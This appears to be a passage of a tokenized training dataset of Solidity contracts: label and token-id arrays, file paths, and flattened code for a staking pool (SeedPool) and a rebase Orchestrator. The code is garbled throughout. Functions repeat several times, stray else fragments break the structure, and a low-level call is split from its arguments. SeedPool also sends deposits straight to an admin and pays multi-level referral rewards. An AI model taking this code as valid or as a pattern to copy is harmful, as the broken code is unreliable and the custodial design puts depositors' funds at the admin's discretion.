-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x0e13DfD0CD26d1a33C16c612b87DBAa9EFaFa6bF/sources/MockPool.sol
emit when admin process the pool unstake request
contract SeedPool is State, Constants { using SafeMath for uint256; event Stake(address indexed user, uint256 indexed pool, uint256 indexed amount); event Unstake(address indexed user, uint256 indexed pool, uint256 indexed amount); event Harvest(address indexed user, uint256 indexed pool, uint256 indexed amount); event Payout(address indexed admin, uint256 indexed pool, uint256 percent, uint256 rate); event UnstakeProcessed(address indexed admin, uint256 indexed pool); constructor(address payable _admin, address _controller) public { admin = _admin; token = BVA; controller = _controller; } pools.push(Pool({token: address(0), stakingBalance: 0, stakedBalance: 0})); pools.push(Pool({token: USDT, stakingBalance: 0, stakedBalance: 0})); receive() external payable { require(msg.sender == admin, "ERROR: send ETH to contract is not allowed"); } modifier onlyAdmin() { require(msg.sender == admin, "ERROR: only admin"); _; } function safeReduceUserBalance(uint256 _pool, address _user, uint256 _amount) internal { if (users[_pool][_user].stakingBalance >= _amount) { users[_pool][_user].stakingBalance = users[_pool][_user].stakingBalance.sub(_amount); pools[_pool].stakingBalance = pools[_pool].stakingBalance.sub(_amount); uint256 remainAmount = _amount.sub(users[_pool][_user].stakingBalance); pools[_pool].stakingBalance = pools[_pool].stakingBalance.sub(users[_pool][_user].stakingBalance); users[_pool][_user].stakingBalance = 0; users[_pool][_user].stakedBalance = users[_pool][_user].stakedBalance.sub(remainAmount); pools[_pool].stakedBalance = pools[_pool].stakedBalance.sub(remainAmount); } } function safeReduceUserBalance(uint256 _pool, address _user, uint256 _amount) internal { if (users[_pool][_user].stakingBalance >= _amount) { users[_pool][_user].stakingBalance = users[_pool][_user].stakingBalance.sub(_amount); pools[_pool].stakingBalance = pools[_pool].stakingBalance.sub(_amount); uint256 remainAmount = _amount.sub(users[_pool][_user].stakingBalance); pools[_pool].stakingBalance = pools[_pool].stakingBalance.sub(users[_pool][_user].stakingBalance); users[_pool][_user].stakingBalance = 0; users[_pool][_user].stakedBalance = users[_pool][_user].stakedBalance.sub(remainAmount); pools[_pool].stakedBalance = pools[_pool].stakedBalance.sub(remainAmount); } } } else { function payoutReference(uint256 _pool, address _child, uint256 _amount) internal { Controller iController = Controller(controller); uint256 maxLevel = iController.getMarketingMaxLevel(); uint256 level; while(level < maxLevel) { address parent = iController.getReferenceParent(_child, level); if (parent == address(0)) break; uint256 percent = iController.getMarketingLevelValue(maxLevel - level - 1); uint256 profitAmount = _amount.mul(percent).div(100).div(1e6); users[_pool][parent].pendingReward = users[_pool][parent].pendingReward.add(profitAmount); level++; } } function payoutReference(uint256 _pool, address _child, uint256 _amount) internal { Controller iController = Controller(controller); uint256 maxLevel = iController.getMarketingMaxLevel(); uint256 level; while(level < maxLevel) { address parent = iController.getReferenceParent(_child, level); if (parent == address(0)) break; uint256 percent = iController.getMarketingLevelValue(maxLevel - level - 1); uint256 profitAmount = _amount.mul(percent).div(100).div(1e6); users[_pool][parent].pendingReward = users[_pool][parent].pendingReward.add(profitAmount); level++; } } function stake(uint256 _pool, uint256 _value) public payable { if (_pool == 0) { users[_pool][msg.sender].stakedBalance = users[_pool][msg.sender].stakedBalance.add(msg.value); TransferHelper.safeTransferETH(admin, msg.value); emit Stake(msg.sender, _pool, msg.value); TransferHelper.safeTransferFrom(pools[_pool].token, msg.sender, address(this), _value); TransferHelper.safeTransfer(pools[_pool].token, admin, _value); users[_pool][msg.sender].stakedBalance = users[_pool][msg.sender].stakedBalance.add(_value); emit Stake(msg.sender, _pool, _value); } bool isListed; for (uint256 i=0; i<usersList[_pool].length; i++) { if (usersList[_pool][i] == msg.sender) isListed = true; } if (!isListed) { usersList[_pool].push(msg.sender); } } function stake(uint256 _pool, uint256 _value) public payable { if (_pool == 0) { users[_pool][msg.sender].stakedBalance = users[_pool][msg.sender].stakedBalance.add(msg.value); TransferHelper.safeTransferETH(admin, msg.value); emit Stake(msg.sender, _pool, msg.value); TransferHelper.safeTransferFrom(pools[_pool].token, msg.sender, address(this), _value); TransferHelper.safeTransfer(pools[_pool].token, admin, _value); users[_pool][msg.sender].stakedBalance = users[_pool][msg.sender].stakedBalance.add(_value); emit Stake(msg.sender, _pool, _value); } bool isListed; for (uint256 i=0; i<usersList[_pool].length; i++) { if (usersList[_pool][i] == msg.sender) isListed = true; } if (!isListed) { usersList[_pool].push(msg.sender); } } } else { function stake(uint256 _pool, uint256 _value) public payable { if (_pool == 0) { users[_pool][msg.sender].stakedBalance = users[_pool][msg.sender].stakedBalance.add(msg.value); TransferHelper.safeTransferETH(admin, msg.value); emit Stake(msg.sender, _pool, msg.value); TransferHelper.safeTransferFrom(pools[_pool].token, msg.sender, address(this), _value); TransferHelper.safeTransfer(pools[_pool].token, admin, _value); users[_pool][msg.sender].stakedBalance = users[_pool][msg.sender].stakedBalance.add(_value); emit Stake(msg.sender, _pool, _value); } bool isListed; for (uint256 i=0; i<usersList[_pool].length; i++) { if (usersList[_pool][i] == msg.sender) isListed = true; } if (!isListed) { usersList[_pool].push(msg.sender); } } function stake(uint256 _pool, uint256 _value) public payable { if (_pool == 0) { users[_pool][msg.sender].stakedBalance = users[_pool][msg.sender].stakedBalance.add(msg.value); TransferHelper.safeTransferETH(admin, msg.value); emit Stake(msg.sender, _pool, msg.value); TransferHelper.safeTransferFrom(pools[_pool].token, msg.sender, address(this), _value); TransferHelper.safeTransfer(pools[_pool].token, admin, _value); users[_pool][msg.sender].stakedBalance = users[_pool][msg.sender].stakedBalance.add(_value); emit Stake(msg.sender, _pool, _value); } bool isListed; for (uint256 i=0; i<usersList[_pool].length; i++) { if (usersList[_pool][i] == msg.sender) isListed = true; } if (!isListed) { usersList[_pool].push(msg.sender); } } function unstake(uint256 _pool, uint256 _value) public { uint256 balance = getBalance(_pool, msg.sender); uint256 requestedAmount = getUnstake(_pool, msg.sender); require(_value <= balance + requestedAmount, "ERROR: insufficient balance"); if (requestedAmount > 0) { for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { if (unstakeRequests[_pool][i].user == msg.sender) { unstakeRequests[_pool][i].amount = unstakeRequests[_pool][i].amount.add(_value); } } unstakeRequests[_pool].push(UnstakeRequest({ user: msg.sender, amount: _value })); } emit Unstake(msg.sender, _pool, _value); } function unstake(uint256 _pool, uint256 _value) public { uint256 balance = getBalance(_pool, msg.sender); uint256 requestedAmount = getUnstake(_pool, msg.sender); require(_value <= balance + requestedAmount, "ERROR: insufficient balance"); if (requestedAmount > 0) { for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { if (unstakeRequests[_pool][i].user == msg.sender) { unstakeRequests[_pool][i].amount = unstakeRequests[_pool][i].amount.add(_value); } } unstakeRequests[_pool].push(UnstakeRequest({ user: msg.sender, amount: _value })); } emit Unstake(msg.sender, _pool, _value); } function unstake(uint256 _pool, uint256 _value) public { uint256 balance = getBalance(_pool, msg.sender); uint256 requestedAmount = getUnstake(_pool, msg.sender); require(_value <= balance + requestedAmount, "ERROR: insufficient balance"); if (requestedAmount > 0) { for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { if (unstakeRequests[_pool][i].user == msg.sender) { unstakeRequests[_pool][i].amount = unstakeRequests[_pool][i].amount.add(_value); } } unstakeRequests[_pool].push(UnstakeRequest({ user: msg.sender, amount: _value })); } emit Unstake(msg.sender, _pool, _value); } function unstake(uint256 _pool, uint256 _value) public { uint256 balance = getBalance(_pool, msg.sender); uint256 requestedAmount = getUnstake(_pool, msg.sender); require(_value <= balance + requestedAmount, "ERROR: insufficient balance"); if (requestedAmount > 0) { for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { if (unstakeRequests[_pool][i].user == msg.sender) { unstakeRequests[_pool][i].amount = unstakeRequests[_pool][i].amount.add(_value); } } unstakeRequests[_pool].push(UnstakeRequest({ user: msg.sender, amount: _value })); } emit Unstake(msg.sender, _pool, _value); } } else { function unstake(uint256 _pool, uint256 _value) public { uint256 balance = getBalance(_pool, msg.sender); uint256 requestedAmount = getUnstake(_pool, msg.sender); require(_value <= balance + requestedAmount, "ERROR: insufficient balance"); if (requestedAmount > 0) { for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { if (unstakeRequests[_pool][i].user == msg.sender) { unstakeRequests[_pool][i].amount = unstakeRequests[_pool][i].amount.add(_value); } } unstakeRequests[_pool].push(UnstakeRequest({ user: msg.sender, amount: _value })); } emit Unstake(msg.sender, _pool, _value); } function harvest(uint256 _pool) public { uint256 receiveAmount = users[_pool][msg.sender].pendingReward; if (receiveAmount > 0) { TransferHelper.safeTransfer(token, msg.sender, users[_pool][msg.sender].pendingReward); users[_pool][msg.sender].pendingReward = 0; } emit Harvest(msg.sender, _pool, receiveAmount); } function harvest(uint256 _pool) public { uint256 receiveAmount = users[_pool][msg.sender].pendingReward; if (receiveAmount > 0) { TransferHelper.safeTransfer(token, msg.sender, users[_pool][msg.sender].pendingReward); users[_pool][msg.sender].pendingReward = 0; } emit Harvest(msg.sender, _pool, receiveAmount); } function payout(uint256 _pool, uint256 _percent, uint256 _rate) public onlyAdmin { uint256 decimals = 18; if (_pool != 0) { decimals = ERC20Helper.getDecimals(pools[_pool].token); } for (uint256 i=0; i<usersList[_pool].length; i++) { address user = usersList[_pool][i]; uint256 profitAmount = users[_pool][user].stakedBalance .mul(_percent) .mul(_rate) .div(100); profitAmount = profitAmount.mul(10**(18 - decimals)).div(1e12); users[_pool][user].pendingReward = users[_pool][user].pendingReward.add(profitAmount); payoutReference(_pool, user, profitAmount); } emit Payout(msg.sender, _pool, _percent, _rate); } function payout(uint256 _pool, uint256 _percent, uint256 _rate) public onlyAdmin { uint256 decimals = 18; if (_pool != 0) { decimals = ERC20Helper.getDecimals(pools[_pool].token); } for (uint256 i=0; i<usersList[_pool].length; i++) { address user = usersList[_pool][i]; uint256 profitAmount = users[_pool][user].stakedBalance .mul(_percent) .mul(_rate) .div(100); profitAmount = profitAmount.mul(10**(18 - decimals)).div(1e12); users[_pool][user].pendingReward = users[_pool][user].pendingReward.add(profitAmount); payoutReference(_pool, user, profitAmount); } emit Payout(msg.sender, _pool, _percent, _rate); } function payout(uint256 _pool, uint256 _percent, uint256 _rate) public onlyAdmin { uint256 decimals = 18; if (_pool != 0) { decimals = ERC20Helper.getDecimals(pools[_pool].token); } for (uint256 i=0; i<usersList[_pool].length; i++) { address user = usersList[_pool][i]; uint256 profitAmount = users[_pool][user].stakedBalance .mul(_percent) .mul(_rate) .div(100); profitAmount = profitAmount.mul(10**(18 - decimals)).div(1e12); users[_pool][user].pendingReward = users[_pool][user].pendingReward.add(profitAmount); payoutReference(_pool, user, profitAmount); } emit Payout(msg.sender, _pool, _percent, _rate); } function processUnstake(uint256 _pool) public onlyAdmin { uint256 unstakeAmount = getTotalUnstake(_pool); if (_pool == 0) { require(unstakeAmount <= address(this).balance, "ERROR: insufficient ETH balance to unstake"); for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { address user = unstakeRequests[_pool][i].user; TransferHelper.safeTransferETH(user, unstakeRequests[_pool][i].amount); safeReduceUserBalance(_pool, user, unstakeRequests[_pool][i].amount); unstakeRequests[_pool][i].amount = 0; } uint256 tokenBalance = ERC20Helper.getBalance(pools[_pool].token, address(this)); require(unstakeAmount <= tokenBalance, "ERROR: insufficient token balance to unstake"); for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { address user = unstakeRequests[_pool][i].user; TransferHelper.safeTransfer(pools[_pool].token, user, unstakeRequests[_pool][i].amount); safeReduceUserBalance(_pool, user, unstakeRequests[_pool][i].amount); unstakeRequests[_pool][i].amount = 0; } } emit UnstakeProcessed(msg.sender, _pool); } function processUnstake(uint256 _pool) public onlyAdmin { uint256 unstakeAmount = getTotalUnstake(_pool); if (_pool == 0) { require(unstakeAmount <= address(this).balance, "ERROR: insufficient ETH balance to unstake"); for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { address user = unstakeRequests[_pool][i].user; TransferHelper.safeTransferETH(user, unstakeRequests[_pool][i].amount); safeReduceUserBalance(_pool, user, unstakeRequests[_pool][i].amount); unstakeRequests[_pool][i].amount = 0; } uint256 tokenBalance = ERC20Helper.getBalance(pools[_pool].token, address(this)); require(unstakeAmount <= tokenBalance, "ERROR: insufficient token balance to unstake"); for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { address user = unstakeRequests[_pool][i].user; TransferHelper.safeTransfer(pools[_pool].token, user, unstakeRequests[_pool][i].amount); safeReduceUserBalance(_pool, user, unstakeRequests[_pool][i].amount); unstakeRequests[_pool][i].amount = 0; } } emit UnstakeProcessed(msg.sender, _pool); } function processUnstake(uint256 _pool) public onlyAdmin { uint256 unstakeAmount = getTotalUnstake(_pool); if (_pool == 0) { require(unstakeAmount <= address(this).balance, "ERROR: insufficient ETH balance to unstake"); for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { address user = unstakeRequests[_pool][i].user; TransferHelper.safeTransferETH(user, unstakeRequests[_pool][i].amount); safeReduceUserBalance(_pool, user, unstakeRequests[_pool][i].amount); unstakeRequests[_pool][i].amount = 0; } uint256 tokenBalance = ERC20Helper.getBalance(pools[_pool].token, address(this)); require(unstakeAmount <= tokenBalance, "ERROR: insufficient token balance to unstake"); for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { address user = unstakeRequests[_pool][i].user; TransferHelper.safeTransfer(pools[_pool].token, user, unstakeRequests[_pool][i].amount); safeReduceUserBalance(_pool, user, unstakeRequests[_pool][i].amount); unstakeRequests[_pool][i].amount = 0; } } emit UnstakeProcessed(msg.sender, _pool); } } else { function processUnstake(uint256 _pool) public onlyAdmin { uint256 unstakeAmount = getTotalUnstake(_pool); if (_pool == 0) { require(unstakeAmount <= address(this).balance, "ERROR: insufficient ETH balance to unstake"); for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { address user = unstakeRequests[_pool][i].user; TransferHelper.safeTransferETH(user, unstakeRequests[_pool][i].amount); safeReduceUserBalance(_pool, user, unstakeRequests[_pool][i].amount); unstakeRequests[_pool][i].amount = 0; } uint256 tokenBalance = ERC20Helper.getBalance(pools[_pool].token, address(this)); require(unstakeAmount <= tokenBalance, "ERROR: insufficient token balance to unstake"); for (uint256 i=0; i<unstakeRequests[_pool].length; i++) { address user = unstakeRequests[_pool][i].user; TransferHelper.safeTransfer(pools[_pool].token, user, unstakeRequests[_pool][i].amount); safeReduceUserBalance(_pool, user, unstakeRequests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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 28065, 2864, 353, 3287, 16, 5245, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 871, 934, 911, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 2845, 16, 2254, 5034, 8808, 3844, 1769, 203, 565, 871, 1351, 334, 911, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 2845, 16, 2254, 5034, 8808, 3844, 1769, 203, 565, 871, 670, 297, 26923, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 2845, 16, 2254, 5034, 8808, 3844, 1769, 203, 565, 871, 453, 2012, 12, 2867, 8808, 3981, 16, 2254, 5034, 8808, 2845, 16, 2254, 5034, 5551, 16, 2254, 5034, 4993, 1769, 203, 203, 565, 871, 1351, 334, 911, 13533, 12, 2867, 8808, 3981, 16, 2254, 5034, 8808, 2845, 1769, 203, 203, 203, 203, 203, 565, 3885, 12, 2867, 8843, 429, 389, 3666, 16, 1758, 389, 5723, 13, 1071, 288, 203, 3639, 3981, 273, 389, 3666, 31, 203, 3639, 1147, 273, 605, 27722, 31, 203, 3639, 2596, 273, 389, 5723, 31, 203, 203, 565, 289, 203, 203, 3639, 16000, 18, 6206, 12, 2864, 12590, 2316, 30, 1758, 12, 20, 3631, 384, 6159, 13937, 30, 374, 16, 384, 9477, 13937, 30, 374, 6792, 1769, 203, 3639, 16000, 18, 6206, 12, 2864, 12590, 2316, 30, 11836, 9081, 16, 384, 6159, 13937, 30, 374, 16, 384, 9477, 13937, 30, 374, 6792, 1769, 203, 565, 6798, 1435, 3903, 8843, 429, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3981, 16, 315, 3589, 30, 1366, 512, 2455, 358, 6835, 353, 486, 2935, 8863, 203, 565, 289, 203, 203, 565, 9606, 1338, 4446, 1435, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3981, 16, 315, 3589, 30, 1338, 3981, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 4183, 12944, 1299, 13937, 12, 11890, 5034, 389, 6011, 16, 1758, 389, 1355, 16, 2254, 5034, 389, 8949, 13, 2713, 288, 203, 3639, 309, 261, 5577, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 1545, 389, 8949, 13, 288, 203, 5411, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 273, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 18, 1717, 24899, 8949, 1769, 203, 203, 5411, 16000, 63, 67, 6011, 8009, 334, 6159, 13937, 273, 16000, 63, 67, 6011, 8009, 334, 6159, 13937, 18, 1717, 24899, 8949, 1769, 203, 5411, 2254, 5034, 7232, 6275, 273, 389, 8949, 18, 1717, 12, 5577, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 1769, 203, 203, 5411, 16000, 63, 67, 6011, 8009, 334, 6159, 13937, 273, 16000, 63, 67, 6011, 8009, 334, 6159, 13937, 18, 1717, 12, 5577, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 1769, 203, 5411, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 273, 374, 31, 203, 203, 5411, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 9477, 13937, 273, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 9477, 13937, 18, 1717, 12, 2764, 530, 6275, 1769, 203, 5411, 16000, 63, 67, 6011, 8009, 334, 9477, 13937, 273, 16000, 63, 67, 6011, 8009, 334, 9477, 13937, 18, 1717, 12, 2764, 530, 6275, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 4183, 12944, 1299, 13937, 12, 11890, 5034, 389, 6011, 16, 1758, 389, 1355, 16, 2254, 5034, 389, 8949, 13, 2713, 288, 203, 3639, 309, 261, 5577, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 1545, 389, 8949, 13, 288, 203, 5411, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 273, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 18, 1717, 24899, 8949, 1769, 203, 203, 5411, 16000, 63, 67, 6011, 8009, 334, 6159, 13937, 273, 16000, 63, 67, 6011, 8009, 334, 6159, 13937, 18, 1717, 24899, 8949, 1769, 203, 5411, 2254, 5034, 7232, 6275, 273, 389, 8949, 18, 1717, 12, 5577, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 1769, 203, 203, 5411, 16000, 63, 67, 6011, 8009, 334, 6159, 13937, 273, 16000, 63, 67, 6011, 8009, 334, 6159, 13937, 18, 1717, 12, 5577, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 1769, 203, 5411, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 6159, 13937, 273, 374, 31, 203, 203, 5411, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 9477, 13937, 273, 3677, 63, 67, 6011, 6362, 67, 1355, 8009, 334, 9477, 13937, 18, 1717, 12, 2764, 530, 6275, 1769, 203, 5411, 16000, 63, 67, 6011, 8009, 334, 9477, 13937, 273, 16000, 63, 67, 6011, 8009, 334, 9477, 13937, 18, 1717, 12, 2764, 530, 6275, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 3639, 289, 469, 288, 203, 565, 445, 293, 2012, 2404, 12, 11890, 5034, 389, 6011, 16, 1758, 389, 3624, 16, 2254, 5034, 389, 8949, 13, 2713, 288, 203, 3639, 6629, 277, 2933, 273, 6629, 12, 5723, 1769, 203, 3639, 2254, 5034, 943, 2355, 273, 277, 2933, 18, 588, 3882, 21747, 2747, 2355, 5621, 203, 3639, 2254, 5034, 1801, 31, 203, 3639, 1323, 12, 2815, 411, 943, 2355, 13, 288, 203, 5411, 1758, 982, 273, 277, 2933, 18, 588, 2404, 3054, 24899, 3624, 16, 1801, 1769, 203, 5411, 309, 261, 2938, 422, 1758, 12, 20, 3719, 898, 31, 203, 203, 5411, 2254, 5034, 5551, 273, 277, 2933, 18, 588, 3882, 21747, 2355, 620, 12, 1896, 2355, 300, 1801, 300, 404, 1769, 203, 5411, 2254, 5034, 450, 7216, 6275, 273, 389, 8949, 18, 16411, 12, 8849, 2934, 2892, 12, 6625, 2934, 2892, 12, 21, 73, 26, 1769, 203, 5411, 3677, 63, 67, 6011, 6362, 2938, 8009, 9561, 17631, 1060, 273, 3677, 63, 67, 6011, 6362, 2938, 8009, 9561, 17631, 1060, 18, 1289, 12, 685, 7216, 6275, 1769, 203, 203, 5411, 1801, 9904, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 293, 2012, 2404, 12, 11890, 5034, 389, 6011, 16, 1758, 389, 3624, 16, 2254, 5034, 389, 8949, 13, 2713, 288, 203, 3639, 6629, 277, 2933, 273, 6629, 12, 5723, 1769, 203, 3639, 2254, 5034, 943, 2355, 273, 277, 2933, 18, 588, 3882, 21747, 2747, 2355, 5621, 203, 3639, 2254, 5034, 1801, 31, 203, 3639, 1323, 12, 2815, 411, 943, 2355, 13, 288, 203, 5411, 1758, 2 ]
./partial_match/1/0xf0c225846F9ed9c55a7a2629F61dFe4596235807/sources/Orchestrator.sol
* @title Orchestrator @notice The orchestrator is the main entry point for rebase operations. It coordinates the b4se policy actions with external consumers./ Stable ordering is not guaranteed.
contract Orchestrator is Ownable, Initializable { using SafeMath for uint256; B4seI public b4se; B4sePolicyI public b4sePolicy; PoolI public b4seDaiPool; PoolI public b4seDaiLpPool; PoolI public degovDaiLpPool; bool public rebaseStarted; uint256 public maximumRebaseTime; uint256 public rebaseRequiredSupply; event LogRebaseStarted(uint256 timeStarted); event LogAddNewUniPair(address token1, address token2); event LogDeleteUniPair(bool enabled, address uniPair); event LogSetUniPairEnabled(uint256 index, bool enabled); uint256 constant SYNC_GAS = 50000; address constant uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; struct UniPair { bool enabled; UniV2PairI pair; } UniPair[] public uniSyncs; modifier indexInBounds(uint256 index) { require( index < uniSyncs.length, "Index must be less than array length" ); _; } function genUniAddr(address left, address right) internal pure returns (UniV2PairI) { address first = left < right ? left : right; address second = left < right ? right : left; address pair = address( uint256( keccak256( abi.encodePacked( hex"ff", uniFactory, keccak256(abi.encodePacked(first, second)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" ) ) ) ); return UniV2PairI(pair); } function initialize( address b4se_, address b4sePolicy_, uint256 rebaseRequiredSupply_, uint256 oracleStartTimeOffset ) external initializer { b4se = B4seI(b4se_); b4sePolicy = B4sePolicyI(b4sePolicy_); maximumRebaseTime = block.timestamp + oracleStartTimeOffset; rebaseStarted = false; rebaseRequiredSupply = rebaseRequiredSupply_; } function addUniPair(address token1, address token2) external onlyOwner { uniSyncs.push(UniPair(true, genUniAddr(token1, token2))); emit LogAddNewUniPair(token1, token2); } function deleteUniPair(uint256 index) external onlyOwner indexInBounds(index) { UniPair memory instanceToDelete = uniSyncs[index]; if (index < uniSyncs.length.sub(1)) { uniSyncs[index] = uniSyncs[uniSyncs.length.sub(1)]; } emit LogDeleteUniPair( instanceToDelete.enabled, address(instanceToDelete.pair) ); uniSyncs.pop(); delete instanceToDelete; } function deleteUniPair(uint256 index) external onlyOwner indexInBounds(index) { UniPair memory instanceToDelete = uniSyncs[index]; if (index < uniSyncs.length.sub(1)) { uniSyncs[index] = uniSyncs[uniSyncs.length.sub(1)]; } emit LogDeleteUniPair( instanceToDelete.enabled, address(instanceToDelete.pair) ); uniSyncs.pop(); delete instanceToDelete; } function setUniPairEnabled(uint256 index, bool enabled) external onlyOwner indexInBounds(index) { UniPair storage instance = uniSyncs[index]; instance.enabled = enabled; emit LogSetUniPairEnabled(index, enabled); } function rebase() external { if (!rebaseStarted) { uint256 rewardsDistributed = b4seDaiPool.rewardDistributed().add( b4seDaiLpPool.rewardDistributed() ); require( rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= maximumRebaseTime, "Not enough rewards distributed or time less than start time" ); degovDaiLpPool.startPool(); rebaseStarted = true; emit LogRebaseStarted(block.timestamp); } b4sePolicy.rebase(); for (uint256 i = 0; i < uniSyncs.length; i++) { if (uniSyncs[i].enabled) { abi.encode(uniSyncs[i].pair.sync.selector) ); } } } function rebase() external { if (!rebaseStarted) { uint256 rewardsDistributed = b4seDaiPool.rewardDistributed().add( b4seDaiLpPool.rewardDistributed() ); require( rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= maximumRebaseTime, "Not enough rewards distributed or time less than start time" ); degovDaiLpPool.startPool(); rebaseStarted = true; emit LogRebaseStarted(block.timestamp); } b4sePolicy.rebase(); for (uint256 i = 0; i < uniSyncs.length; i++) { if (uniSyncs[i].enabled) { abi.encode(uniSyncs[i].pair.sync.selector) ); } } } function rebase() external { if (!rebaseStarted) { uint256 rewardsDistributed = b4seDaiPool.rewardDistributed().add( b4seDaiLpPool.rewardDistributed() ); require( rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= maximumRebaseTime, "Not enough rewards distributed or time less than start time" ); degovDaiLpPool.startPool(); rebaseStarted = true; emit LogRebaseStarted(block.timestamp); } b4sePolicy.rebase(); for (uint256 i = 0; i < uniSyncs.length; i++) { if (uniSyncs[i].enabled) { abi.encode(uniSyncs[i].pair.sync.selector) ); } } } function rebase() external { if (!rebaseStarted) { uint256 rewardsDistributed = b4seDaiPool.rewardDistributed().add( b4seDaiLpPool.rewardDistributed() ); require( rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= maximumRebaseTime, "Not enough rewards distributed or time less than start time" ); degovDaiLpPool.startPool(); rebaseStarted = true; emit LogRebaseStarted(block.timestamp); } b4sePolicy.rebase(); for (uint256 i = 0; i < uniSyncs.length; i++) { if (uniSyncs[i].enabled) { abi.encode(uniSyncs[i].pair.sync.selector) ); } } } address(uniSyncs[i].pair).call{gas: SYNC_GAS}( }
15,668,281
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, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 2965, 23386, 639, 353, 14223, 6914, 16, 10188, 6934, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 605, 24, 307, 45, 1071, 324, 24, 307, 31, 203, 565, 605, 24, 307, 2582, 45, 1071, 324, 24, 307, 2582, 31, 203, 203, 565, 8828, 45, 1071, 324, 24, 307, 40, 10658, 2864, 31, 203, 565, 8828, 45, 1071, 324, 24, 307, 40, 10658, 48, 84, 2864, 31, 203, 203, 565, 8828, 45, 1071, 5843, 1527, 40, 10658, 48, 84, 2864, 31, 203, 565, 1426, 1071, 283, 1969, 9217, 31, 203, 565, 2254, 5034, 1071, 4207, 426, 1969, 950, 31, 203, 565, 2254, 5034, 1071, 283, 1969, 3705, 3088, 1283, 31, 203, 203, 565, 871, 1827, 426, 1969, 9217, 12, 11890, 5034, 813, 9217, 1769, 203, 565, 871, 1827, 986, 1908, 984, 77, 4154, 12, 2867, 1147, 21, 16, 1758, 1147, 22, 1769, 203, 565, 871, 1827, 2613, 984, 77, 4154, 12, 6430, 3696, 16, 1758, 7738, 4154, 1769, 203, 565, 871, 1827, 694, 984, 77, 4154, 1526, 12, 11890, 5034, 770, 16, 1426, 3696, 1769, 203, 203, 565, 2254, 5034, 5381, 7068, 10346, 67, 43, 3033, 273, 1381, 2787, 31, 203, 565, 1758, 5381, 